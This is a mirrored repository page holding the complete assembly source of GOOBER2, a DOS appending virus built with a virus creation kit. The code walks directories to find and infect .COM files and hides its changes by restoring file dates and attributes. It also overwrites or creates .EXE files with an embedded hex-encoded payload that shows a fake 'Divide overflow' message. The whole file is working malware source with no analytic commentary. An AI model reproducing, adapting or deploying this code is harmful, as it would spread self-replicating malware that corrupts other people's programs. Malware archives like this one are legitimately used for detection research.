mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
391 lines
16 KiB
NASM
391 lines
16 KiB
NASM
; GOOBER2.ASM -- GOOBER 2
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; Created with Nowhere Man's Virus Creation Laboratory v1.00
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; Written by URNST KOUCH
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virus_type equ 0 ; Appending Virus
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is_encrypted equ 0 ; We're not encrypted
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tsr_virus equ 0 ; We're not TSR
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code segment byte public
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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main proc near
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db 0E9h,00h,00h ; Near jump (for compatibility)
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start: call find_offset ; Like a PUSH IP
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find_offset: pop bp ; BP holds old IP
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sub bp,offset find_offset ; Adjust for length of host
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lea si,[bp + buffer] ; SI points to original start
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mov di,0100h ; Push 0100h on to stack for
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push di ; return to main program
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movsw ; Copy the first two bytes
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movsb ; Copy the third byte
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mov di,bp ; DI points to start of virus
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mov bp,sp ; BP points to stack
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer on stack
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int 021h
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call search_files ; Find and infect a file
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lea dx,[di + data00] ; DX points to data
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lea si,[di + data01] ; SI points to data
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push di ; Save DI
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mov ah,02Fh ; DOS get DTA function
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int 021h
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mov di,bx ; DI points to DTA
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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int 021h
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jc create_file ; If not found then create it
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write_in_file: mov ax,04301h ; DOS set file attributes function
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xor cx,cx ; File will have no attributes
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lea dx,[di + 01Eh] ; DX points to file name
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int 021h
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mov ax,03D01h ; DOS open file function, write
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lea dx,[di + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; Transfer file handle to AX
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mov ah,040h ; DOS write to file function
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mov cx,[si] ; CX holds number of byte to write
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lea dx,[si + 2] ; DX points to the data
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int 021h
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mov ax,05701h ; DOS set file date/time function
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mov cx,[di + 016h] ; CX holds old file time
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mov dx,[di + 018h] ; DX holds old file data
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attributes function
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xor ch,ch ; Clear CH for attributes
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mov cl,[di + 015h] ; CL holds old attributes
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lea dx,[di + 01Eh] ; DX points to file name
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int 021h
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mov ah,04Fh ; DOS find next file function
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int 021h
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jnc write_in_file ; If successful do next file
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jmp short dropper_end ; Otherwise exit
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create_file: mov ah,03Ch ; DOS create file function
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xor cx,cx ; File has no attributes
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int 021h
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xchg bx,ax ; Transfer file handle to AX
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mov ah,040h ; DOS write to file function
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mov cx,[si] ; CX holds number of byte to write
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lea dx,[si + 2] ; DX points to the data
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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dropper_end: pop di ; Restore DI
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com_end: pop dx ; DX holds original DTA address
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mov ah,01Ah ; DOS set DTA function
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int 021h
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mov sp,bp ; Deallocate local buffer
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xor ax,ax ;
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mov bx,ax ;
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mov cx,ax ;
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mov dx,ax ; Empty out the registers
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mov si,ax ;
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mov di,ax ;
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mov bp,ax ;
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ret ; Return to original program
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main endp
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + root] ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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lea dx,[di + all_files] ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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pushf ; Save the flags
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + up_dir] ; DX points to parent directory
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int 021h
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popf ; Restore the flags
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jnc done_searching ; If we infected then exit
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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lea dx,[di + com_mask] ; DX points to "*.COM"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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com_mask db "*.COM",0 ; Mask for all .COM files
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traverse endp
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov si,bx ; SI points to the DTA
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mov byte ptr [di + set_carry],0 ; Assume we'll fail
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cmp word ptr [si + 01Ah],(65279 - (finish - start))
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jbe size_ok ; If it's small enough continue
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jmp infection_done ; Otherwise exit
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size_ok: mov ax,03D00h ; DOS open file function, r/o
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lea dx,[si + 01Eh] ; DX points to file name
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,03Fh ; DOS read from file function
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mov cx,3 ; CX holds bytes to read (3)
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lea dx,[di + buffer] ; DX points to buffer
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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xchg dx,ax ; Faster than a PUSH AX
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mov ah,03Eh ; DOS close file function
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int 021h
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xchg dx,ax ; Faster than a POP AX
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sub ax,finish - start + 3 ; Adjust AX for a valid jump
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cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
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je infection_done ; If equal then exit
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mov byte ptr [di + set_carry],1 ; Success -- the file is OK
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add ax,finish - start ; Re-adjust to make the jump
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mov word ptr [di + new_jump + 1],ax ; Construct jump
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mov ax,04301h ; DOS set file attrib. function
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xor cx,cx ; Clear all attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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mov ax,03D02h ; DOS open file function, r/w
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,040h ; DOS write to file function
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mov cx,3 ; CX holds bytes to write (3)
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lea dx,[di + new_jump] ; DX points to the jump we made
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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mov ah,040h ; DOS write to file function
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mov cx,finish - start ; CX holds virus length
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lea dx,[di + start] ; DX points to start of virus
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int 021h
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mov ax,05701h ; DOS set file time function
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mov cx,[si + 016h] ; CX holds old file time
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mov dx,[si + 018h] ; DX holds old file date
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attrib. function
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xor ch,ch ; Clear CH for file attribute
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mov cl,[si + 015h] ; CX holds file's old attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
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ret ; Return to caller
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set_carry db ? ; Set-carry-on-exit flag
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buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
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new_jump db 0E9h,?,? ; New jump to virus
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infect_file endp
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data00 db "*.EXE",0
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data01 dw 222H
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db 092h, 086h, 0EDh, 092h, 0E8h, 0AFh, 000h, 0E8h
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db 0ACh, 000h, 0BEh, 0FFh, 002h, 0B4h, 00Eh, 0ACh
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db 00Ah, 0C0h, 074h, 004h, 0CDh, 010h, 0EBh, 0F7h
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db 0BAh, 012h, 003h, 055h, 08Bh, 0ECh, 081h, 0ECh
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db 000h, 010h, 057h, 0B4h, 02Fh, 0CDh, 021h, 08Bh
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db 0FBh, 0B4h, 04Eh, 0B9h, 027h, 000h, 0CDh, 021h
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db 072h, 06Ch, 0B8h, 001h, 043h, 033h, 0C9h, 08Dh
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db 055h, 01Eh, 0CDh, 021h, 0B8h, 002h, 03Dh, 08Dh
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db 055h, 01Eh, 0CDh, 021h, 093h, 0B4h, 03Fh, 0B9h
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db 000h, 010h, 08Dh, 096h, 000h, 0F0h, 0CDh, 021h
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db 00Bh, 0C0h, 074h, 028h, 050h, 08Dh, 0B6h, 000h
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db 0F0h, 032h, 0E4h, 0CDh, 01Ah, 059h, 051h, 030h
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db 014h, 046h, 042h, 0E2h, 0FAh, 05Ah, 052h, 0B8h
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db 001h, 042h, 0B9h, 0FFh, 0FFh, 0F7h, 0DAh, 0CDh
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db 021h, 0B4h, 040h, 059h, 08Dh, 096h, 000h, 0F0h
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db 0CDh, 021h, 0EBh, 0C9h, 0B8h, 001h, 057h, 08Bh
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db 04Dh, 016h, 08Bh, 055h, 018h, 0CDh, 021h, 0B4h
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db 03Eh, 0CDh, 021h, 0B8h, 001h, 043h, 032h, 0EDh
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db 08Ah, 04Dh, 015h, 08Dh, 055h, 01Eh, 0CDh, 021h
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db 0B4h, 04Fh, 0CDh, 021h, 073h, 094h, 05Fh, 08Bh
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db 0E5h, 05Dh, 0E8h, 055h, 001h, 00Bh, 0C0h, 074h
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db 003h, 0EBh, 006h, 090h, 0EAh, 000h, 000h, 0FFh
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db 0FFh, 0B8h, 000h, 04Ch, 0CDh, 021h, 055h, 08Bh
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db 0ECh, 083h, 0ECh, 040h, 0B4h, 047h, 032h, 0D2h
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db 08Dh, 076h, 0C0h, 0CDh, 021h, 0B4h, 03Bh, 0BAh
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db 0DAh, 001h, 0CDh, 021h, 0E8h, 00Dh, 000h, 0B4h
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db 03Bh, 08Dh, 056h, 0C0h, 0CDh, 021h, 08Bh, 0E5h
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db 05Dh, 0C3h, 05Ch, 000h, 055h, 0B4h, 02Fh, 0CDh
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db 021h, 053h, 08Bh, 0ECh, 081h, 0ECh, 080h, 000h
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db 0B4h, 01Ah, 08Dh, 056h, 080h, 0CDh, 021h, 0B4h
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db 04Eh, 0B9h, 010h, 000h, 0BAh, 034h, 002h, 0CDh
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db 021h, 072h, 027h, 080h, 07Eh, 095h, 010h, 075h
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db 01Bh, 080h, 07Eh, 09Eh, 02Eh, 074h, 015h, 0B4h
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db 03Bh, 08Dh, 056h, 09Eh, 0CDh, 021h, 0E8h, 0CBh
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db 0FFh, 09Ch, 0B4h, 03Bh, 0BAh, 031h, 002h, 0CDh
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db 021h, 09Dh, 073h, 00Ch, 0B4h, 04Fh, 0CDh, 021h
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db 073h, 0D9h, 0BAh, 038h, 002h, 0E8h, 016h, 000h
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db 08Bh, 0E5h, 0B4h, 01Ah, 05Ah, 0CDh, 021h, 05Dh
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db 0C3h, 02Eh, 02Eh, 000h, 02Ah, 02Eh, 02Ah, 000h
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db 02Ah, 02Eh, 045h, 058h, 045h, 000h, 055h, 0B4h
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db 02Fh, 0CDh, 021h, 053h, 08Bh, 0ECh, 081h, 0ECh
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db 080h, 000h, 052h, 0B4h, 01Ah, 08Dh, 056h, 080h
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db 0CDh, 021h, 0B4h, 04Eh, 0B9h, 027h, 000h, 05Ah
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db 0CDh, 021h, 072h, 009h, 0E8h, 00Fh, 000h, 073h
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db 004h, 0B4h, 04Fh, 0EBh, 0F3h, 08Bh, 0E5h, 0B4h
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db 01Ah, 05Ah, 0CDh, 021h, 05Dh, 0C3h, 0B4h, 02Fh
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db 0CDh, 021h, 08Bh, 0F3h, 0C6h, 006h, 0F9h, 002h
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db 000h, 083h, 07Ch, 01Ch, 000h, 075h, 070h, 081h
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db 07Ch, 025h, 04Eh, 044h, 074h, 069h, 081h, 07Ch
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db 01Ah, 022h, 002h, 072h, 062h, 0B8h, 000h, 03Dh
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db 08Dh, 054h, 01Eh, 0CDh, 021h, 093h, 0B4h, 03Fh
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db 0B9h, 004h, 000h, 0BAh, 0F5h, 002h, 0CDh, 021h
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db 0B4h, 03Eh, 0CDh, 021h, 056h, 0BEh, 0F5h, 002h
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db 0BFh, 000h, 001h, 0B9h, 004h, 000h, 0F3h, 0A6h
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db 05Eh, 074h, 03Ch, 0C6h, 006h, 0F9h, 002h, 001h
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db 0B8h, 001h, 043h, 033h, 0C9h, 08Dh, 054h, 01Eh
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db 0CDh, 021h, 0B8h, 002h, 03Dh, 0CDh, 021h, 093h
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db 0B4h, 040h, 0B9h, 022h, 002h, 090h, 0BAh, 000h
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db 001h, 0CDh, 021h, 0B8h, 001h, 057h, 08Bh, 04Ch
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db 016h, 08Bh, 054h, 018h, 0CDh, 021h, 0B4h, 03Eh
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db 0CDh, 021h, 0B8h, 001h, 043h, 032h, 0EDh, 08Ah
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db 04Ch, 015h, 08Dh, 054h, 01Eh, 0CDh, 021h, 080h
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db 03Eh, 0F9h, 002h, 001h, 0C3h, 000h, 000h, 000h
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db 000h, 000h, 0A0h, 0F9h, 002h, 098h, 0C3h, 007h
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db 044h, 069h, 076h, 069h, 064h, 065h, 020h, 06Fh
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db 076h, 065h, 072h, 066h, 06Ch, 06Fh, 077h, 00Dh
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db 00Ah, 000h, 02Ah, 02Eh, 043h, 04Fh, 04Dh, 000h
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db 05Bh, 056h, 043h, 04Ch, 05Dh, 000h, 044h, 04Fh
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db 04Dh, 045h
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vcl_marker db "[VCL]",0 ; VCL creation marker
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finish label near
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code ends
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end main
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